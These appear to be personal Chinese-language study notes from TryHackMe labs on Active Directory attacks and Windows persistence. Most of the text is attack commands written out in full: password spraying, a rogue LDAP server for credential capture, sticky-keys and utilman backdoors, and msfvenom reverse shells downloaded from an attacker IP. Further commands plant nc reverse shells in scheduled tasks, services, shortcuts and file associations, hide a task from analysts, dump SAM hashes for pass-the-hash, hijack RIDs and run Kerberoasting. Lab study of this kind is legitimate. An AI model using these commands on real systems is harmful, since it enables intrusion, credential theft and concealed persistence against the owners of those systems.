windows-thm-活动目录

首先配置DNS 以及Domain

systemd-resolve –interface breachad –set-dns 10.200.99.101 –set-domain za.tryhackme.com


1、openvpn连接 //下载网络的Breachingad的vpn文件

2、在高级网络管理处,点击小齿轮,设置附加dns:

8.8.8.8

10.200.99.101

然后 systemctl restart NetworkManager

每一次都应该下载新的vpn,然后检查靶场的ip有没有变化,如果有,那就在网络设置修改之后,重启网络服务,用nslookup thmdc.za.tryhackme.com检查就行。


使用下面的py脚本,使用一个密码,对多个账号进行密码喷射

python ntlm_passwordspray.py -u usernames.txt -f za.tryhackme.com -p Changeme123 -a http://ntlmauth.za.tryhackme.com/ 绿字为密码


LDAP 绑定凭证

应用程序可以使用的另一种AD身份验证方法是轻量级目录访问协议 (LDAP) 身份验证。LDAP 身份验证与 NTLM 身份验证类似。但是,通过 LDAP 身份验证,应用程序可以直接验证用户的凭据。该应用程序有一对 AD 凭据,可以首先使用它们来查询 LDAP,然后验证 AD 用户的凭据。

LDAP 身份验证是与AD集成的第三方(非 Microsoft)应用程序的一种流行机制。其中包括应用程序和系统,例如::

  • Gitlab
  • Jenkins
  • Custom-developed web applications
  • Printers
  • VPNs

LDAP 回传攻击

如果一个内网环境有一个打印机,存在如一下页面,可以通过在攻击机nc -lvnp 389(389是LDAP默认端口号)监听,然后修改下图的ip为攻击机内网ip地址,test setting,会接收到会连。

托管恶意LDAP服务器

sudo apt-get update && sudo apt-get -y install slapd ldap-utils && sudo systemctl enable slapd

下载好之后按照下面来配置

cd去 /etc/init.d目录,在当前目录创建一个olcSaslSecProps.ldif文件,内容如下:

#olcSaslSecProps.ldif
dn: cn=config
replace: olcSaslSecProps
olcSaslSecProps: noanonymous,minssf=0,passcred

该文件具有以下属性:

  • olcSaslSecProps:指定 SASL 安全属性
  • noanonymous:禁用支持匿名登录的机制
  • minssf:指定可接受的最小安全强度,0表示无保护。

使用 ldif 文件来修补 LDAP 服务器,方法如下:

sudo ldapmodify -Y EXTERNAL -H ldapi:// -f ./olcSaslSecProps.ldif && sudo service slapd restart

捕获 LDAP 凭证

windows-持久化-thm-使用已有服务

webshell

默认C:\inetpub\wwwroot,把针对widows的aspx的后门文件放这

持久化默认是由管理员权限获得之后,输入下面命令

icacls shell.aspx /grant Everyone:F //相当linux使用chmod777赋予后门文件全部权限,然后在攻击机访问该目录下的后门文件就行。


使用 MSSQL 作为后门

‘NEW QUERY’

windows-持久化-thm-登录屏幕/RDP 后门

连续按五次shift,会呼出粘滞键窗口,其实是触发了C:\Windows\System32\sethc.exe

如果可以用cmd.exe替换掉sethc.exe,就可以不登录也能按5次shift呼出cmd

按顺序输入下面三条命令

C:\> takeown /f c:\Windows\System32\sethc.exe

C:\> icacls C:\Windows\System32\sethc.exe /grant Administrator:F

C:\> copy c:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe



Utilman

相当于呼出C:\Windows\System32\Utilman.exe

takeown /f c:\Windows\System32\utilman.exe

icacls C:\Windows\System32\utilman.exe /grant Administrator:F

copy c:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe

windows-thm-持久化-登录触发反弹shell

每个用户登录windows的时候会启动某个文件夹中的程序,这个文件夹叫”启动文件夹“

每个用户都有一个文件夹

C:\Users\<your_username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

在其中放置要在用户登录时运行的可执行文件。攻击者只需将有效负载放入其中即可实现持久性。每个用户只会运行其文件夹中可用的内容。

若想强制所有用户在登录时运行有效负载
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp //没找到就查看隐藏文件夹


下面将反弹shell放到这个文件夹

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.2.37.236 LPORT=4455 -f exe -o revshell.exe



Run / RunOnce

使用以下注册表项来指定在登录时运行的应用程序,而不是将有效负载传递到特定目录:

  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run
  • HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
  • HKLM\Software\Microsoft\Windows\CurrentVersion\Run
  • HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce

注册表项HKCU仅适用于当前用户,下面的注册表项HKLM将适用于所有人。在该键下指定的任何程序都Run将在用户每次登录时运行。键下指定的程序RunOnce将仅执行一次。

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.2.37.236 LPORT=4444 -f exe -o revshell.exe

将其传输到受害机器后,将其移动到C:\Windows

powershell “(New-Object System.Net.WebClient).Downloadfile(‘http://10.2.37.236:8000/revshell.exe’,’revshell.exe’)”

接下来创建一个注册表项

c:\tools\pstools\PsExec64.exe -s -i regedit //打开注册表

在注册表的地址输入窗口输入:HKLM\Software\Microsoft\Windows\CurrentVersion\Run //根据上文,这表示所有人,在这个键(目录)下的程序都会在用户每次登录时运行。

选 Expandable String Value

重新登录后获得shell



Winlogon

登录时自动启动程序的另一种替代方法是滥用 Winlogon,这是一种 Windows 组件,可在身份验证(除其他外)后立即加载用户配置文件。

Winlogon在注册表项的这个位置:

HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\

  • Userinit指向userinit.exe,它负责恢复您的用户配置文件首选项。
  • shell指向系统的 shell,通常是explorer.exe

修改Userinit 的DATA 可以附加用逗号分隔的命令,Winlogon 将处理所有命令。

然后重新连接,就能获取shell



登录脚本

加载用户配置文件时要做的事情之一 userinit.exe 是检查名为 的环境变量UserInitMprLogonScript。可以使用此环境变量将登录脚本分配给用户,该脚本将在登录计算机时运行。默认情况下未设置该变量,因此可以创建它并分配任何脚本

要为用户创建环境变量,可以转到HKCU\Environment注册表中的环境变量。使用该UserInitMprLogonScript条目指向有效负载,以便在用户登录时加载它。但是由于这个没有等效的HKLM,因此只能给当前而不是所有用户设置。

windows-持久化-滥用计划任务

在下面的网站查看相关的命令:

https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks


如果受攻击机有nc,在受控主机侧输入下面命令创建一个计划任务

schtasks /create /sc minute /mo 1 /tn THM-TaskBackdoor /tr “c:\tools\nc64 -e cmd.exe 10.2.37.236 9999” /ru SYSTEM

上图可知,计划任务被成功添加。可以输入命令查看运行情况,如下图:

显然,如果分析人员查看计划任务,这个任务就很显而易见了,因此要将他隐藏。通过删除Security Descriptor (SD)来达到目的。

首先需要受攻击主机有 PsExec64.exe 这不是windows自带的。在命令行输入下面的命令:c:\tools\pstools\PsExec64.exe -s -i regedit //红字是exe的位置。

打开regedit之后,根据下面路径找到后门计划任务

Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\THM-TaskBackdoor

右键SD 选择delet,删掉就能隐藏他。

但是他仍然可以在regedit找到,所以可以查找:

windows持久化_thm(服务)

加入可以控制服务,可以让受害主机自动运行反弹shell

输入下面命令,在攻击机生成反弹shell。

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.2.37.236 LPORT=4444 -f exe-service -o rev-svc.exe

然后攻击机起一个python服务。

在受控主机的powershell输入下面命令,下载反弹shell:

powershell “(New-Object System.Net.WebClient).Downloadfile(‘http://10.2.37.236:8000/rev-svc.exe’,’rev-svc.exe’)”

有了反弹shell,就可以在受控主机建立一个服务,让它开机自启,就可以简便控制它了。

在受控机输入下面的命令,新建一个服务,同时在攻击机监听相关端口:

sc.exe create THMservice2 binPath= "C:\windows\rev-svc.exe" start= auto
sc.exe start THMservice2  //全部正确的情况下,运行成功这条命令能够成功反弹shell,如下图:


新创建的服务会被检测到,因此更好的方法是更改已有的服务。尤其是已有的被禁用的服务,例如自动更新。

输入下面的命令,查看可用服务:
sc.exe query state=all

以下面某服务的截图为说明对象,说明应该关注的点:

  • 可执行文件(BINARY_PATH_NAME)应该指向我们的有效负载。 //比如用msfvenom生成的fantanshell的exe文件。
  • 服务START_TYPE应该是自动的,以便有效负载无需用户交互即可运行。
  • SERVICE_START_NAME是运行服务的帐户,最好将其设置为LocalSystem获取 SYSTEM 权限。

powershell简单使用wget没成功,用下面命令下载“powershell”下载

powershell “(New-Object System.Net.WebClient).Downloadfile(‘http://10.2.37.236:8000/rev.exe’,’rev.exe’)”

然后根据上面注意的三个点,修改需要注意的地方,输入下面命令:

sc.exe config THMservice3 binPath= “C:\Windows\Administrator\rev.exe” start= auto obj= “LocalSystem”

sc.exe config THMservice3 binPath= “C:\Windows\rev-svc2.exe” start= auto obj= “LocalSystem”

启动监听,手动启动服务就可以反弹。特别注意,文件名一定要写对!!!!

windows持久化-thm(后门文件)

尝试找到一些可执行文件可能是目标经常用的。

比如在桌面找到了计算器.exe或者别的,如游戏等,思路就是将快捷方式指向恶意脚本,恶意脚本先执行反弹shell再运行正常的功能,但是观察到会有短暂的命令提示符闪烁,很明显。在快捷方式所在的目录放一个ps1脚本

如:

Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe ATTACKER_IP 4445"

C:\Windows\System32\calc.exe
然后在快捷方式本来的保存地址处,修改成输入下面命令让快捷方式指向这个恶意脚本:
powershell.exe -WindowStyle hidden C:\Windows\System32\backdoor.ps1
注意到应该事先准备好图标,否则修改上述属性时快捷方式就发生变化了。

除了上述这一种劫持了exe文件,还可以尝试劫持文件关联,劫持任何文件关联,以强制操作系统在用户打开特定文件类型时运行 shell

修改注册表: PsExec64.exe -i -s regedit //首先需要有这个exe

默认的操作系统文件关联保存在注册表内,所以很多恶意文件都会对注册表进行操作,很多恶意样本分析都会着重针对注册表的改动情况。

其中为HKLM\Software\Classes\下的每种文件类型存储了一个密钥。假设我们要检查使用哪个程序打开 .txt 文件;我们只需检查 .txt 子项,并找到与其关联的 编程 ID (ProgID) 。 ProgID 只是系统上安装的程序的标识符。

.txt 扩展名为例子

data字段为ProgID,默认为 txtfile 。通过这个名称,在\class下继续查找:

大多数 ProgID 条目在 shell\open\command 下都有一个子项,其中指定了对具有该扩展名的文件运行的默认命令。

在这种情况下,尝试打开.txt文件时,系统将执行

%SystemRoot%\system32\NOTEPAD.EXE %1

其中%1代表打开的文件的名称。如果我们想劫持这个扩展(.txt),我们可以用执行后门的脚本替换命令,然后像往常一样打开文件。首先,我们创建一个包含以下内容的 ps1 脚本并将其保存到 C:\Windows\backdoor2.ps1

Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe 10.2.37.236 4444"
C:\Windows\system32\NOTEPAD.EXE $args[0]

接下来修改注册表里的txtfile,根据下图的路径:

hlm\software\classes\txtfile\shell\open\command

修改成poweshell -windowstyle hidden C:\windows\脚本 %1

然后运行一个txt文件就行

Windows持久化-thm(篡改非特权账户)

假设已经获得一台主机的Administrator权限


提升一个非特权用户的权限:

1.以管理员账户输入命令提权。下面命令会将thmuser0添加至管理员组
C:\> net localgroup administrators thmuser0 /add

2.下面这条命令则是添加到备份操作员组,该组中的用户没有管理权限,但可以读取/写入系统上的任何文件或注册表项,忽略任何配置的DACL。由于这是一个非特权帐户,因此它无法通过RDP或 WinRM 返回计算机,除非我们将其添加到远程桌面用户RDP ) 或远程管理用户(WinRM) 组
C:\> net localgroup “Backup Operators” thmuser1 /add


WinRM(Windows Remote Management)是一种远程管理协议,用于在Windows操作系统上进行远程管理和远程命令执行。它允许管理员通过网络远程管理和配置Windows操作系统,而无需物理接触到被管理的计算机。(evil-winrm 是一款用于在Windows系统上进行渗透测试和漏洞利用的命令行工具)

用户帐户控制 (UAC) 。 UAC 实现的功能之一是 LocalAccountTokenFilterPolicy,它会在远程登录时剥夺任何本地帐户的管理权限。虽然可以通过 UAC 从图形用户会话提升权限(请阅读有关 UAC 的更多信息此处),但如果使用的是 WinRM,则将受限于没有管理权限的有限访问令牌。
可以通过禁用解决这个问题。
为了重新获得管理权限,通过将以下注册表项更改为 1 来禁用 LocalAccountTokenFilterPolicy

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1

上图是攻击机操作的,是不行的,应该像下图先用管理员权限的shell来操作

重新建立连接,如下图,可以看到backup operator从group used for deny only 变成Mandatory group, Enabled by default, Enabled group了

由于当前用户已经加入了backup operator组,具有读取/写入系统上的任何文件或注册表项的权限。因此可以转储备份 SAM 和 SYSTEM 文件。:

1.reg save hklm\system system.bak
2.reg save hklm\sam sam.bak
3.download system.bak
4.download sam.bak

由于使Evil-WinRM工具已经处理过system和sam,可以通过脚本“secretsdump.py”来提取,输入命令:

python3 secretsdump.py-sam sam.bak -system system.bak LOCAL

输入下面命令

evil-winrm -i 10.10.204.212 -u Administrator -H f3118544a831e728781d780cfdb9c1fa //这里输入的是LM哈希值

由上图可见,运行完命令后就能直接以管理员权限登录了


接下来是其他方法


特殊权限和安全描述符
无需修改任何组成员身份即可获得与将用户添加到 Backup Operators 组类似的结果。

在获取到的shell输入下面命令

secedit /export /cfg config.inf  //用于导出本地安全策略配置到一个名为config.inf的文件中。

在窗口或者别的方式打开这个文件,在:

  • SeBackupPrivilege: 用户可以读取系统中的任何文件,忽略任何DACL
  • SeRestorePrivilege: 用户可以写入系统中的任何文件,忽略任何DACL

的地方加上想要提高权限的用户名,如thmuser2。这俩权限是backup operator的特殊权限。

这一步相当于给thmuser2做类似上文以管理员身份将thmuser1添加到backup operator组获得特权,但此时不能远程连接,因此还需要 WinRM来调整

secedit /import /cfg config.inf /db config.sdb
secedit /configure /db config.sdb /cfg config.inf

下一步,调整 WinRM:

在可视化的窗口的powershell,输入

Set-PSSessionConfiguration -Name Microsoft.PowerShell -showSecurityDescriptorUI,如下图

要使该用户完全使用给定的权限,必须更改 LocalAccountTokenFilterPolicy 注册表项,参考上文输入的命令,否则不灵。

这是第二种办法,好处就是当别人审查一般用户组时,不会发现一个普通用户在一个特权组里的异常情况,起疑心的速度会慢一些。


下面是第三种。RID(Relative Identifier)劫持。是用于标识和管理安全主体的一种标识符。RID是在Windows安全模型中用于唯一标识用户、组和计算机账户的一部分。

无需成为管理员即可获得管理权限的另一种方法是更改​​某些注册表值,使操作系统认为您是管理员

创建用户时,会为其分配一个名为相对 ID (RID) 的标识符。 RID 只是代表系统中用户的数字标识符。当用户登录时,LSASS 进程从 SAM 注册表配置单元获取其 RID,并创建与该 RID 关联的访问令牌。如果我们可以篡改注册表值,我们就可以通过将相同的 RID 与两个帐户关联起来,让 Windows 为非特权用户分配管理员访问令牌。

在任何 Windows 系统中,默认管理员帐户都会分配RID = 500,普通用户通常拥有RID >= 1000

输入下面命令查看RID,RID 是 SID 的最后一位(thmuser3 为 1010,管理员为 500)

wmic useraccount get name,sid

如果将 RID=500 分配给 thmuser3,就能欺骗系统,让系统把令牌给thmuser3.使用 Regedit 访问 SAM。 SAM 仅限于 SYSTEM 帐户,因此即使是管理员也无法对其进行编辑。要以 SYSTEM 身份运行 Regedit,使用 psexec,在C:\tools\pstools

计算机中的每个用户都有一个密钥。由于我们要修改 thmuser3,因此需要搜索其 RID 为十六进制的密钥 (1010 = 0x3F2)。在对应的键下,会有一个名为F的值,该值在0x30位置处保存了用户的有效RID:

用十六进制的管理员 RID 替换这两个字节 (500 = 0x01F4),并交换字节 (F401):

修改之后,在攻击机简单使用XFREERDP以thmuser3的账号密码登录,发现登录成功后会是administrator

以上三种方式:增加到组、修改配置文件、修改RID都成功简单持久化了一个普通账户,并使它具备一定的管理员权限(以管理员权限登录)


windows7-applocker-thm


有很多方法可以绕过AppLocker

1.如果AppLocker配置了默认的 AppLocker 规则,我们可以通过将可执行文件放置在以下目录中来绕过它:  C:\Windows\System32\spool\drivers\color – 默认情况下该目录已列入白名单

2.Kerberoasting 是一种从 Active Directory 中提取服务帐户哈希值以便稍后用于离线破解的攻击。

使用以下命令查找具有服务主体名称属性设置的用户:

setspn -T medin -Q ​ /

上图可以看出已经识别出了用户为fela

3.下载下面的脚本,用于转储hash https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1

在color目录运行 . .\Invoke-Kerberoast.ps1,再运行Invoke-Kerberoast -OutputFormat hashcat ​ |fl 如下图: